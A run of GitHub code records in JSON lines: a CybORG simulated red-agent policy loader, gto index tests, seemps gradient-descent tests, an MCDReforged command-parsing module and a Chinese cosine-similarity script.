CybORG_Red_Agent,\n            \"env_config\": {\n                \"null\": 0,\n            },\n            # Use GPUs iff `RLLIB_NUM_GPUS` env var set to > 0.\n            \"num_gpus\": 0, #int(num_gpus), #int(os.environ.get(\"RLLIB_NUM_GPUS\", \"0\")),\n            \"model\": {\n                \"custom_model\": \"CybORG_PPO_Model\",\n                \"vf_share_layers\": True,\n            },\n            \"lr\": 0.00005,\n            # \"momentum\": tune.uniform(0, 1),\n            \"num_workers\": 0,  # parallelism\n            \"framework\": \"torch\",  # May also use \"tf2\", \"tfe\" or \"torch\" if supported\n            \"eager_tracing\": True,  # In order to reach similar execution speed as with static-graph mode (tf default)\n            \"vf_loss_coeff\": 0.05,  # Scales down the value function loss for better comvergence with PPO\n            \"in_evaluation\": True,\n            'explore': False,\n            \"exploration_config\": {\n                \"type\": \"Curiosity\",  # <- Use the Curiosity module for exploring.\n                \"eta\": 1.0,  # Weight for intrinsic rewards before being added to extrinsic ones.\n                \"lr\": 0.001,  # Learning rate of the curiosity (ICM) module.\n                \"feature_dim\": 288,  # Dimensionality of the generated feature vectors.\n                # Setup of the feature net (used to encode observations into feature (latent) vectors).\n                \"feature_net_config\": {\n                    \"fcnet_hiddens\": [],\n                    \"fcnet_activation\": \"relu\",\n                },\n                \"inverse_net_hiddens\": [256],  # Hidden layers of the \"inverse\" model.\n                \"inverse_net_activation\": \"relu\",  # Activation of the \"inverse\" model.\n                \"forward_net_hiddens\": [256],  # Hidden layers of the \"forward\" model.\n                \"forward_net_activation\": \"relu\",  # Activation of the \"forward\" model.\n                \"beta\": 0.2,  # Weight for the \"forward\" loss (beta) over the \"inverse\" loss (1.0 - beta).\n                # Specify, which exploration sub-type to use (usually, the algo's \"default\"\n                # exploration, e.g. EpsilonGreedy for DQN, StochasticSampling for PG/SAC).\n                \"sub_exploration\": {\n                    \"type\": \"StochasticSampling\",\n                }\n            }\n        }\n\n        self.observation = np.zeros((1, 40))\n\n        # load agent trained against BlueRemove\n        # self.Remove_attack = ppo.PPOTrainer(config=config_Remove, env=CybORG_Red_Agent)\n        # self.Remove_attack.restore(self.Remove_checkpoint_pointer)\n        # load agent trained against BlueRestore\n        self.Restore_attack = ppo.PPOTrainer(config=config_Restore, env=CybORG_Red_Agent)\n        self.Restore_attack.restore(self.Restore_checkpoint_pointer)\n        \n        ray.shutdown()\n\n    \"\"\"Compensate for the different method name\"\"\"\n    def get_action(self, obs, action_space):\n        self.observation = np.roll(self.observation, -1, 0)\n        self.observation[0] = obs\n        # agent_action = self.Remove_attack.compute_single_action(self.observation[-1:])\n        agent_action = self.Restore_attack.compute_single_action(self.observation[-1:])\n        \n        return agent_action\n","repo_name":"ZzPoLariszZ/Autonomous-Network-Defence","sub_path":"cage-challenge-1-updated/agents/hierachy_agents/load_red_agent.py","file_name":"load_red_agent.py","file_ext":"py","file_size_in_byte":7856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"27648420277","text":"from typing import Sequence\n\nimport pytest\nfrom pytest_mock import MockFixture\nfrom pytest_test_utils import TmpDir\nfrom scmrepo.git import Git\n\nfrom gto import CONFIG\nfrom gto.index import (\n    Artifact,\n    RepoIndexManager,\n    check_if_path_exists,\n    find_repeated_path,\n)\n\n\n@pytest.fixture(name=\"index\")\ndef _index(empty_git_repo: str) -> RepoIndexManager:\n    with RepoIndexManager.from_url(empty_git_repo) as index:\n        yield index\n\n\ndef test_git_index_add_virtual(tmp_dir: TmpDir, scm: Git, index: RepoIndexManager):\n    index.add(\n        \"nn\",\n        type=\"tt\",\n        path=\"pp\",\n        must_exist=False,\n        allow_same_path=False,\n        labels=[],\n        description=\"\",\n        custom=None,\n        update=False,\n        commit=False,\n        commit_message=None,\n    )\n\n    with RepoIndexManager.from_url(tmp_dir) as new_index:\n        assert isinstance(new_index, RepoIndexManager)\n        index_value = new_index.get_index()\n        assert index_value.state[\"nn\"] == Artifact(path=\"pp\", type=\"tt\", virtual=True)\n\n        scm.add(CONFIG.INDEX)\n        scm.commit(\"add index\")\n        rev = scm.get_rev()\n\n        assert new_index.get_history()[rev].state == index_value.state\n\n\ndef test_git_index_remove_virtual(tmp_dir: TmpDir, index: RepoIndexManager):\n    index.add(\n        \"aa\",\n        \"aa\",\n        \"aa\",\n        must_exist=False,\n        allow_same_path=False,\n        labels=[],\n        description=\"\",\n        custom=None,\n        update=True,\n        commit=False,\n        commit_message=None,\n    )\n\n    with RepoIndexManager.from_url(tmp_dir) as new_index:\n        assert isinstance(new_index, RepoIndexManager)\n\n        new_index.remove(\"aa\")\n        index_value = new_index.get_index()\n        assert index_value.state == {}\n\n\n@pytest.mark.parametrize(\n    \"path, paths\",\n    [\n        (\"models/m1.txt\", [\"models/m1.txt\"]),\n        (\"models/m1.txt\", [\"models\"]),\n        (\"models\", [\"models/m1.txt\"]),\n        (\"models\", [\"models/\"]),\n        (\"models/m1.txt/\", [\"models/m1.txt\"]),\n    ],\n)\ndef test_check_path_found(path: str, paths: Sequence[str]):\n    assert find_repeated_path(path, paths) is not None\n\n\n@pytest.mark.parametrize(\n    \"path, paths\",\n    [(\"models/m1.txt\", [\"models/m2.txt\"]), (\"models/a/m1.txt\", [\"models/m1.txt\"])],\n)\ndef test_check_path_not_found(path: str, paths: Sequence[str]):\n    assert find_repeated_path(path, paths) is None\n\n\ndef test_check_existence_repo(tmp_dir: TmpDir, scm: Git):\n    tmp_dir.gen(\"m1.txt\", \"some content\")\n    scm.add([\"m1.txt\"])\n    scm.commit(\"commit config file\")\n    tmp_dir.gen({\"a\": {\"b\": \"some content\"}})\n    scm.add([str(tmp_dir / \"a\" / \"b\")])\n    (tmp_dir / \"m1.txt\").unlink()\n    scm.add([\"m1.txt\"])\n    scm.commit(\"commit a/b\")\n\n    assert check_if_path_exists(\"m1.txt\", scm, \"HEAD^1\")\n    assert not check_if_path_exists(\"m1.txt\", scm, \"HEAD\")\n    assert not check_if_path_exists(\"a/b\", scm, \"HEAD^1\")\n    assert check_if_path_exists(\"a/b\", scm, \"HEAD\")\n\n\ndef test_check_existence_no_repo(tmp_dir: TmpDir):\n    tmp_dir.gen(\"m1.txt\", \"some content\")\n    assert check_if_path_exists(tmp_dir / \"m1.txt\")\n    assert not check_if_path_exists(tmp_dir / \"not\" / \"exists\")\n\n\ndef test_from_url_sets_cloned_property(tmp_dir: TmpDir, scm: Git, mocker: MockFixture):\n    with RepoIndexManager.from_url(tmp_dir) as idx:\n        assert idx.cloned is False\n\n    with RepoIndexManager.from_url(scm) as idx:\n        assert idx.cloned is False\n\n    cloned_git_repo_mock = mocker.patch(\"gto.git_utils.cloned_git_repo\")\n    cloned_git_repo_mock.return_value.__enter__.return_value = scm\n\n    with RepoIndexManager.from_url(\"https://github.com/iterative/gto\") as idx:\n        assert idx.cloned is True\n","repo_name":"iterative/gto","sub_path":"tests/test_index.py","file_name":"test_index.py","file_ext":"py","file_size_in_byte":3690,"program_lang":"python","lang":"en","doc_type":"code","stars":127,"dataset":"github-code","pt":"22"}
+{"seq_id":"17434885622","text":"import numpy as np\r\nfrom seemps.optimization.descent import gradient_descent\r\nfrom seemps.hamiltonians import HeisenbergHamiltonian\r\nfrom seemps import MPO, product_state\r\nfrom .tools import *\r\n\r\n\r\nclass TestGradientDescent(TestCase):\r\n    Sz = np.diag([0.5, -0.5])\r\n\r\n    def make_local_Sz_mpo(self, size: int) -> MPO:\r\n        A = np.zeros((2, 2, 2, 2))\r\n        A[0, :, :, 0] = np.eye(2)\r\n        A[1, :, :, 1] = np.eye(2)\r\n        A[0, :, :, 1] = self.Sz\r\n        tensors = [A] * size\r\n        tensors[0] = tensors[0][[0], :, :, :]\r\n        tensors[-1] = tensors[-1][:, :, :, [1]]\r\n        return MPO(tensors)\r\n\r\n    def test_gradient_descent_with_local_field(self):\r\n        N = 4\r\n        H = self.make_local_Sz_mpo(N)\r\n        guess = product_state(np.asarray([1, 1]) / np.sqrt(2.0), N)\r\n        exact = product_state([0, 1], N)\r\n        result = gradient_descent(H, guess, tol=1e-15)\r\n        self.assertAlmostEqual(result.energy, H.expectation(exact))\r\n        self.assertSimilarStates(result.state, exact, atol=1e-7)\r\n\r\n    def test_gradient_descent_acknowledges_tolerance(self):\r\n        \"\"\"Check that algorithm stops if energy change is below tolerance.\"\"\"\r\n        N = 4\r\n        H = HeisenbergHamiltonian(N).to_mpo()\r\n        tol = 1e-5\r\n        guess = CanonicalMPS(\r\n            random_uniform_mps(2, N, rng=self.rng), center=0, normalize=True\r\n        )\r\n        result = gradient_descent(H, guess, tol=tol, maxiter=1000)\r\n        print(result)\r\n        self.assertTrue(result.converged)\r\n        self.assertTrue(abs(result.trajectory[-1] - result.trajectory[-2]) < tol)\r\n\r\n    def callback(self):\r\n        norms = []\r\n\r\n        def callback_func(state: MPS):\r\n            norms.append(np.sqrt(state.norm_squared()))\r\n            return None\r\n\r\n        return callback_func, norms\r\n\r\n    def test_gradient_descent_with_callback(self):\r\n        N = 4\r\n        maxiter = 10\r\n        H = self.make_local_Sz_mpo(N)\r\n        guess = product_state(np.asarray([1, 1]) / np.sqrt(2.0), N)\r\n        callback_func, norms = self.callback()\r\n        result = gradient_descent(\r\n            H, guess, maxiter=maxiter, tol=1e-15, callback=callback_func\r\n        )\r\n        self.assertSimilar(norms, np.ones(len(norms)))\r\n        self.assertEqual(maxiter, len(norms))\r\n","repo_name":"juanjosegarciaripoll/seemps2","sub_path":"tests/test_gradient_descent.py","file_name":"test_gradient_descent.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"}
+{"seq_id":"18730007639","text":"import collections\nimport inspect\nfrom abc import ABC\nfrom typing import List, Callable, Iterable, Set, Dict, Type, Any, Union, Optional\n\nfrom mcdreforged.command.builder import command_builder_util as utils\nfrom mcdreforged.command.builder.exception import LiteralNotMatch, NumberOutOfRange, EmptyText, \\\n\tUnknownCommand, UnknownArgument, CommandSyntaxError, UnknownRootArgument, RequirementNotMet, IllegalNodeOperation, \\\n\tCommandError, InvalidNumber, InvalidInteger, InvalidFloat, UnclosedQuotedString, IllegalEscapesUsage, \\\n\tTextLengthOutOfRange\nfrom mcdreforged.command.command_source import CommandSource\n\nSOURCE_CONTEXT_CALLBACK = Union[Callable[[], Any], Callable[[CommandSource], Any], Callable[[CommandSource, dict], Any]]\nSOURCE_CONTEXT_CALLBACK_BOOL = Union[Callable[[], bool], Callable[[CommandSource], bool], Callable[[CommandSource, dict], bool]]\nSOURCE_CONTEXT_CALLBACK_STR = Union[Callable[[], str], Callable[[CommandSource], str], Callable[[CommandSource, dict], str]]\nSOURCE_ERROR_CONTEXT_CALLBACK = Union[Callable[[], Any], Callable[[CommandSource], Any], Callable[[CommandSource, CommandError], Any], Callable[[CommandSource, CommandError, dict], Any]]\n\n\nclass ParseResult:\n\tdef __init__(self, value: Optional[Any], char_read: int):\n\t\tself.value = value\n\t\tself.char_read = char_read\n\n\nclass ArgumentNode:\n\tclass ErrorHandler:\n\t\tdef __init__(self, callback: SOURCE_ERROR_CONTEXT_CALLBACK, handled: bool):\n\t\t\tself.callback = callback\n\t\t\tself.handled = handled\n\n\t_ERROR_HANDLER_TYPE = Dict[Type[CommandError], ErrorHandler]\n\n\tdef __init__(self, name: Optional[str]):\n\t\tself.name = name\n\t\tself.children_literal = collections.defaultdict(list)  # type: Dict[str, List[Literal]]\n\t\tself.children = []  # type: List[ArgumentNode]\n\t\tself.callback = None\n\t\tself.error_handlers = {}  # type: ArgumentNode._ERROR_HANDLER_TYPE\n\t\tself.child_error_handlers = {}  # type: ArgumentNode._ERROR_HANDLER_TYPE\n\t\tself.requirement = lambda source: True\n\t\tself.requirement_failure_message_getter = None\n\t\tself.redirect_node = None\n\n\t# --------------\n\t#   Interfaces\n\t# --------------\n\n\tdef then(self, node: 'ArgumentNode') -> 'ArgumentNode':\n\t\t\"\"\"\n\t\tAdd a child node to this node\n\t\t:param node: a child node for new level command\n\t\t\"\"\"\n\t\tif self.redirect_node is not None:\n\t\t\traise IllegalNodeOperation('Redirected node is not allowed to add child nodes')\n\t\tif isinstance(node, Literal):\n\t\t\tfor literal in node.literals:\n\t\t\t\tself.children_literal[literal].append(node)\n\t\telse:\n\t\t\tself.children.append(node)\n\t\treturn self\n\n\tdef runs(self, func: SOURCE_CONTEXT_CALLBACK) -> 'ArgumentNode':\n\t\t\"\"\"\n\t\tExecutes the given function if the command string ends here\n\t\t:param func: A function to execute at this node which accepts maximum 2 parameters (command source and context)\n\t\t:rtype: ArgumentNode\n\t\t\"\"\"\n\t\tself.callback = func\n\t\treturn self\n\n\tdef requires(self, requirement: SOURCE_CONTEXT_CALLBACK_BOOL, failure_message_getter: Optional[SOURCE_CONTEXT_CALLBACK_STR] = None) -> 'ArgumentNode':\n\t\t\"\"\"\n\t\tSet the requirement for the command source to enter this node\n\t\t:param requirement: A callable function which accepts maximum 2 parameters (command source and context)\n\t\tand return a bool indicating whether the source is allowed to executes this command or not\n\t\t:param failure_message_getter: The reason to show in the exception when the requirement is not met.\n\t\tIt's a callable function which accepts maximum 2 parameters (command source and context). If it's not specified,\n\t\ta default message will be used\n\t\t:rtype: ArgumentNode\n\t\t\"\"\"\n\t\tself.requirement = requirement\n\t\tself.requirement_failure_message_getter = failure_message_getter\n\t\treturn self\n\n\tdef redirects(self, redirect_node: 'ArgumentNode') -> 'ArgumentNode':\n\t\t\"\"\"\n\t\tRedirect the child branches of this node to the child branches of the given node\n\t\t:type redirect_node: ArgumentNode\n\t\t:rtype: ArgumentNode\n\t\t\"\"\"\n\t\tif self.has_children():\n\t\t\traise IllegalNodeOperation('Node with children nodes is not allowed to be redirected')\n\t\tself.redirect_node = redirect_node\n\t\treturn self\n\n\tdef on_error(self, error_type: Type[CommandError], handler: SOURCE_ERROR_CONTEXT_CALLBACK, *, handled: bool = False) -> 'ArgumentNode':\n\t\t\"\"\"\n\t\tWhen a command error occurs, invoke the handler\n\t\t:param error_type: A class that is subclass of CommandError\n\t\t:param handler: A callback function which accepts maximum 3 parameters (command source, error and context)\n\t\t:param handled: If handled is set to True, error.set_handled() is called automatically when invoking the handler callback\n\t\t\"\"\"\n\t\tif not issubclass(error_type, CommandError):\n\t\t\traise TypeError('error_type parameter should be a class inherited from CommandError, but class {} found'.format(error_type))\n\t\tself.error_handlers[error_type] = self.ErrorHandler(handler, handled)\n\t\treturn self\n\n\tdef on_child_error(self, error_type: Type[CommandError], handler: SOURCE_ERROR_CONTEXT_CALLBACK, *, handled: bool = False) -> 'ArgumentNode':\n\t\t\"\"\"\n\t\tWhen receives a command error from one of the node's child, invoke the handler\n\t\t:param error_type: A class that is subclass of CommandError\n\t\t:param handler: A callback function which accepts maximum 3 parameters (command source, error and context)\n\t\t:param handled: If handled is set to True, error.set_handled() is called automatically when invoking the handler callback\n\t\t\"\"\"\n\t\tif not issubclass(error_type, CommandError):\n\t\t\traise TypeError('error_type parameter should be a class inherited from CommandError, but class {} found'.format(error_type))\n\t\tself.child_error_handlers[error_type] = self.ErrorHandler(handler, handled)\n\t\treturn self\n\n\t# -------------------\n\t#   Interfaces ends\n\t# -------------------\n\n\tdef has_children(self):\n\t\treturn len(self.children) + len(self.children_literal) > 0\n\n\tdef parse(self, text: str) -> ParseResult:\n\t\t\"\"\"\n\t\tTry to parse the text and get a argument. Return a ParseResult instance indicating the parsing result\n\t\tParseResult.success: If the parsing is success\n\t\tParseResult.value: The value to store in the context dict\n\t\tParseResult.remaining: The remain\n\t\t:param str text: the remaining text to be parsed\n\t\t:rtype: ParseResult\n\t\t\"\"\"\n\t\traise NotImplementedError()\n\n\tdef __does_store_thing(self):\n\t\t\"\"\"\n\t\tIf this argument stores something into the context after parsing the given command string\n\t\tFor example it might need to store an int after parsing an integer\n\t\tIn general situation, only Literal Argument doesn't store anything\n\t\t:return: bool\n\t\t\"\"\"\n\t\treturn self.name is not None\n\n\t@staticmethod\n\tdef __smart_callback(callback: Callable, *args):\n\t\tsig = inspect.signature(callback)\n\t\tspec_args = inspect.getfullargspec(callback).args\n\t\tspec_args_len = len(spec_args)\n\t\ttry:\n\t\t\tsig.bind(*args[:spec_args_len])  # test if using full arg length is ok\n\t\texcept TypeError:\n\t\t\tif len(spec_args) > 0 and spec_args[0] == 'self':  # hacky fix for class method\n\t\t\t\tspec_args_len -= 1\n\t\t\telse:\n\t\t\t\traise\n\t\treturn callback(*args[:spec_args_len])\n\n\tdef __handle_error(self, source, error: CommandError, context: dict, error_handlers: _ERROR_HANDLER_TYPE):\n\t\tfor error_type, handler in error_handlers.items():\n\t\t\tif isinstance(error, error_type):\n\t\t\t\tif handler.handled:\n\t\t\t\t\terror.set_handled()\n\t\t\t\tself.__smart_callback(handler.callback, source, error, context)\n\n\tdef __raise_error(self, source, error: CommandError, context: dict):\n\t\tself.__handle_error(source, error, context, self.error_handlers)\n\t\traise error\n\n\tdef _execute(self, source, command: str, remaining: str, context: dict):\n\t\tsuccess_read = len(command) - len(remaining)\n\t\ttry:\n\t\t\tresult = self.parse(remaining)\n\t\texcept CommandSyntaxError as error:\n\t\t\terror.set_parsed_command(command[:success_read])\n\t\t\terror.set_failed_command(command[:success_read + error.char_read])\n\t\t\tself.__raise_error(source, error, context)\n\t\telse:\n\t\t\tsuccess_read += result.char_read\n\t\t\ttrimmed_remaining = utils.remove_divider_prefix(remaining[result.char_read:])\n\n\t\t\tif self.__does_store_thing():\n\t\t\t\tcontext[self.name] = result.value\n\n\t\t\tif self.requirement is not None:\n\t\t\t\tif not self.__smart_callback(self.requirement, source, context):\n\t\t\t\t\tgetter = self.requirement_failure_message_getter if self.requirement_failure_message_getter is not None else lambda: None\n\t\t\t\t\tfailure_message = self.__smart_callback(getter, source, context)\n\t\t\t\t\tself.__raise_error(source, RequirementNotMet(command[:success_read], command[:success_read], failure_message), context)\n\n\t\t\t# Parsing finished\n\t\t\tif len(trimmed_remaining) == 0:\n\t\t\t\tif self.callback is not None:\n\t\t\t\t\tself.__smart_callback(self.callback, source, context)\n\t\t\t\telse:\n\t\t\t\t\tself.__raise_error(source, UnknownCommand(command[:success_read], command[:success_read]), context)\n\t\t\t# Un-parsed command string remains\n\t\t\telse:\n\t\t\t\t# Redirecting\n\t\t\t\tnode = self if self.redirect_node is None else self.redirect_node\n\n\t\t\t\targument_unknown = False\n\t\t\t\t# No child at all\n\t\t\t\tif not node.has_children():\n\t\t\t\t\targument_unknown = True\n\t\t\t\telse:\n\t\t\t\t\t# Pass the remaining command string to the children\n\t\t\t\t\ttry:\n\t\t\t\t\t\t# Check literal children first\n\t\t\t\t\t\tnext_literal = utils.get_element(trimmed_remaining)\n\t\t\t\t\t\tfor child_literal in node.children_literal.get(next_literal, []):\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tchild_literal._execute(source, command, trimmed_remaining, context)\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\texcept LiteralNotMatch:\n\t\t\t\t\t\t\t\t# it's ok for a direct literal node to fail\n\t\t\t\t\t\t\t\tpass\n\t\t\t\t\t\telse:  # All literal children fails\n\t\t\t\t\t\t\tfor child in node.children:\n\t\t\t\t\t\t\t\tchild._execute(source, command, trimmed_remaining, context)\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\telse:  # No argument child\n\t\t\t\t\t\t\t\targument_unknown = True\n\t\t\t\t\texcept CommandError as error:\n\t\t\t\t\t\tself.__handle_error(source, error, context, self.child_error_handlers)\n\t\t\t\t\t\traise error from None\n\n\t\t\t\tif argument_unknown:\n\t\t\t\t\tself.__raise_error(source, UnknownArgument(command[:success_read], command), context)\n\n\nclass ExecutableNode(ArgumentNode, ABC):\n\tdef execute(self, source, command):\n\t\t\"\"\"\n\t\tParse and execute this command\n\t\tRaise variable CommandError if parsing fails\n\t\t:param CommandSource source: the source that executes this command\n\t\t:param str command: the command string to execute\n\t\t:rtype: None\n\t\t\"\"\"\n\t\ttry:\n\t\t\tself._execute(source, command, command, {})\n\t\texcept LiteralNotMatch as error:\n\t\t\t# the root literal node fails to parse the first element\n\t\t\traise UnknownRootArgument(error.get_parsed_command(), error.get_failed_command()) from error\n\n# ---------------------------------\n#   Argument Node implementations\n# ---------------------------------\n\n\nclass Literal(ExecutableNode):\n\t\"\"\"\n\tA literal argument, doesn't store any value, only for extending and readability of the command\n\tThe only argument type that is allowed to use the execute method\n\t\"\"\"\n\tdef __init__(self, literal: str or Iterable[str]):\n\t\tsuper().__init__(None)\n\t\tif isinstance(literal, str):\n\t\t\tliterals = {literal}\n\t\telif isinstance(literal, Iterable):\n\t\t\tliterals = set(literal)\n\t\telse:\n\t\t\traise TypeError('Only str or Iterable[str] is accepted')\n\t\tfor literal in literals:\n\t\t\tif not isinstance(literal, str):\n\t\t\t\traise TypeError('Literal node only accepts str but {} found'.format(type(literal)))\n\t\t\tif utils.DIVIDER in literal:\n\t\t\t\traise TypeError('DIVIDER character \"{}\" cannot be inside a literal'.format(utils.DIVIDER))\n\t\tself.literals = literals  # type: Set[str]\n\n\tdef parse(self, text):\n\t\targ = utils.get_element(text)\n\t\tif arg in self.literals:\n\t\t\treturn ParseResult(None, len(arg))\n\t\telse:\n\t\t\traise LiteralNotMatch('Invalid Argument', len(arg))\n\n\tdef __repr__(self):\n\t\treturn 'Literal[literals={}]'.format(self.literals)\n\n# --------------------\n#   Number Arguments\n# --------------------\n\n\nclass NumberNode(ArgumentNode, ABC):\n\tdef __init__(self, name):\n\t\tsuper().__init__(name)\n\t\tself.__min_value = None\n\t\tself.__max_value = None\n\n\tdef at_min(self, min_value) -> 'NumberNode':\n\t\tself.__min_value = min_value\n\t\treturn self\n\n\tdef at_max(self, max_value) -> 'NumberNode':\n\t\tself.__max_value = max_value\n\t\treturn self\n\n\tdef in_range(self, min_value, max_value) -> 'NumberNode':\n\t\tself.at_min(min_value)\n\t\tself.at_max(max_value)\n\t\treturn self\n\n\tdef _check_in_range_and_return(self, value, char_read):\n\t\tif (self.__min_value is not None and value < self.__min_value) or (self.__max_value is not None and value > self.__max_value):\n\t\t\traise NumberOutOfRange(char_read, value, self.__min_value, self.__max_value)\n\t\treturn ParseResult(value, char_read)\n\n\nclass Number(NumberNode):\n\t\"\"\"\n\tAn Integer, or a float\n\t\"\"\"\n\tdef parse(self, text):\n\t\tvalue, read = utils.get_int(text)\n\t\tif value is None:\n\t\t\tvalue, read = utils.get_float(text)\n\t\tif value is not None:\n\t\t\treturn self._check_in_range_and_return(value, read)\n\t\telse:\n\t\t\traise InvalidNumber(read)\n\n\nclass Integer(NumberNode):\n\t\"\"\"\n\tAn Integer\n\t\"\"\"\n\tdef parse(self, text):\n\t\tvalue, read = utils.get_int(text)\n\t\tif value is not None:\n\t\t\treturn self._check_in_range_and_return(value, read)\n\t\telse:\n\t\t\traise InvalidInteger(read)\n\n\nclass Float(NumberNode):\n\tdef parse(self, text):\n\t\tvalue, read = utils.get_float(text)\n\t\tif value is not None:\n\t\t\treturn self._check_in_range_and_return(value, read)\n\t\telse:\n\t\t\traise InvalidFloat(read)\n\n# ------------------\n#   Text Arguments\n# ------------------\n\n\nclass TextNode(ArgumentNode, ABC):\n\tdef __init__(self, name):\n\t\tsuper().__init__(name)\n\t\tself.__min_length = None\n\t\tself.__max_length = None\n\n\tdef at_min_length(self, min_length) -> 'TextNode':\n\t\tself.__min_length = min_length\n\t\treturn self\n\n\tdef at_max_length(self, max_length) -> 'TextNode':\n\t\tself.__max_length = max_length\n\t\treturn self\n\n\tdef in_length_range(self, min_length, max_length) -> 'TextNode':\n\t\tself.__min_length = min_length\n\t\tself.__max_length = max_length\n\t\treturn self\n\n\tdef _check_length_in_range_and_return(self, text, char_read):\n\t\tlength = len(text)\n\t\tif (self.__min_length is not None and length < self.__min_length) or (self.__max_length is not None and length > self.__max_length):\n\t\t\traise TextLengthOutOfRange(char_read, length, self.__min_length, self.__max_length)\n\t\treturn ParseResult(text, char_read)\n\n\nclass Text(TextNode):\n\t\"\"\"\n\tA text argument with no space character\n\tJust like a single word\n\t\"\"\"\n\tdef parse(self, text):\n\t\targ = utils.get_element(text)\n\t\treturn self._check_length_in_range_and_return(arg, len(arg))\n\n\nclass QuotableText(Text):\n\tQUOTE_CHAR = '\"'\n\tESCAPE_CHAR = '\\\\'\n\n\tdef __init__(self, name):\n\t\tsuper().__init__(name)\n\t\tself.empty_allowed = False\n\n\tdef allow_empty(self):\n\t\tself.empty_allowed = True\n\t\treturn self\n\n\tdef parse(self, text):\n\t\tif len(text) == 0 or text[0] != self.QUOTE_CHAR:\n\t\t\treturn super().parse(text)  # regular text\n\t\tcollected = []\n\t\ti = 1\n\t\tescaped = False\n\t\twhile i < len(text):\n\t\t\tch = text[i]\n\t\t\tif escaped:\n\t\t\t\tif ch == self.ESCAPE_CHAR or ch == self.QUOTE_CHAR:\n\t\t\t\t\tcollected.append(ch)\n\t\t\t\t\tescaped = False\n\t\t\t\telse:\n\t\t\t\t\traise IllegalEscapesUsage(i + 1)\n\t\t\telif ch == self.ESCAPE_CHAR:\n\t\t\t\tescaped = True\n\t\t\telif ch == self.QUOTE_CHAR:\n\t\t\t\tresult = ''.join(collected)\n\t\t\t\tif not self.empty_allowed and len(result) == 0:\n\t\t\t\t\traise EmptyText(i + 1)\n\t\t\t\treturn self._check_length_in_range_and_return(result, i + 1)\n\t\t\telse:\n\t\t\t\tcollected.append(ch)\n\t\t\ti += 1\n\t\traise UnclosedQuotedString(len(text))\n\n\nclass GreedyText(TextNode):\n\t\"\"\"\n\tA greedy text argument, which will consume all remaining input\n\t\"\"\"\n\tdef parse(self, text):\n\t\treturn self._check_length_in_range_and_return(text, len(text))\n","repo_name":"ActiniumCraft/dimension-convert","sub_path":"venv/Lib/site-packages/mcdreforged/command/builder/command_node.py","file_name":"command_node.py","file_ext":"py","file_size_in_byte":15341,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"855342307","text":"import math\r\nimport re\r\nimport datetime\r\nimport time\r\nimport jieba\r\nimport gensim\r\n#单纯的余弦相似度算法，目前来说应该用tfidf-的余弦相似度算法\r\n#剔除标点符号\r\nexcludes = {'，','。','/','《','》','？','；','‘','：','“','【','】','{','}',\r\n            '、','|','！','@','#','￥','%','……','&','*','（','）','-','=',\r\n            '——','+','·','~','”',\r\n            ',','.','/','<','>','?',';','\\'',':','\"','[',']','{','}','\\\\','|',\r\n            '~','`','!','@','#','$','%','^','&','*','(',')','_','-','+','=',\r\n            ' ','\\n'}\r\n\r\ndef getThetxt(str):\r\n    d1 = open(str,encoding='utf-8').read()\r\n\r\n    for word in excludes:\r\n        d1 = d1.replace(word,'')\r\n    return d1\r\ndef getTheFrequency(list):\r\n    dict = {}\r\n    for word in list:\r\n        if word != '' and word in dict:\r\n            num = dict[word]\r\n            dict[word] = num + 1\r\n        elif word != '':\r\n            dict[word] = 1\r\n        else:\r\n            continue\r\n    return dict\r\n\r\ndef compute_cosine(txt_a, txt_b):\r\n    first = getThetxt(txt_a)\r\n    second = getThetxt(txt_b)\r\n\r\n    first_list = [word for word in jieba.cut(first)]\r\n    second_list = [word for word in jieba.cut(second)]\r\n\r\n    #频率获得  从list 到 dict\r\n    first_dict = getTheFrequency(first_list)\r\n    second_dict = getTheFrequency(second_list)\r\n\r\n\r\n    #排序\r\n    dic_f = sorted(first_dict.items(),key=lambda asd:asd[1],reverse=True)\r\n    dic_s = sorted(second_dict.items(),key=lambda asd:asd[1],reverse=True)\r\n    #得到词向量（两者的所有的）\r\n    keyWords = []\r\n\r\n    for i in range(len(dic_f)):\r\n        keyWords.append(dic_f[i][0])    #添加数组（都是字）\r\n\r\n    for i in range(len(dic_s)):\r\n        if dic_s[i][0] in keyWords: #有的话啥也不干\r\n            pass\r\n        else:                       #没有就加入\r\n            keyWords.append(dic_s[i][0])\r\n    vect_f = []\r\n    vect_s = []\r\n\r\n    for word in keyWords:\r\n        if word in first_dict:\r\n            vect_f.append(first_dict[word])\r\n        else:\r\n            vect_f.append(0)\r\n        if word in second_dict:\r\n            vect_s.append(second_dict[word])\r\n        else:\r\n            vect_s.append(0)\r\n    #开始计算余弦相似度\r\n    sum = 0\r\n    sq1 = 0\r\n    sq2 = 0\r\n    for i in range(len(vect_f)):\r\n        sum += vect_f[i] * vect_s[i]\r\n        sq1 += pow(vect_f[i],2)\r\n        sq2 += pow(vect_s[i], 2)\r\n    try:    #round() 四舍五入,结果保留两位小数\r\n        result = round(float(sum)/(math.sqrt(sq1)*math.sqrt(sq2)),2)\r\n    except ZeroDivisionError:\r\n        result = 0.0\r\n    return result\r\n\r\nif __name__ == '__main__':\r\n\r\n    print(compute_cosine('C:/Users/60917/Desktop/第一章.txt','C:/Users/60917/Desktop/第三章.txt'))\r\n    print(compute_cosine('C:/Users/60917/Desktop/第二章.txt','C:/Users/60917/Desktop/第三章.txt'))\r\n\r\n","repo_name":"ChenXiTeam/Codeversion","sub_path":"李成/作为队员/个人代码/个人参考内容/hade_cosine.py","file_name":"hade_cosine.py","file_ext":"py","file_size_in_byte":2874,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
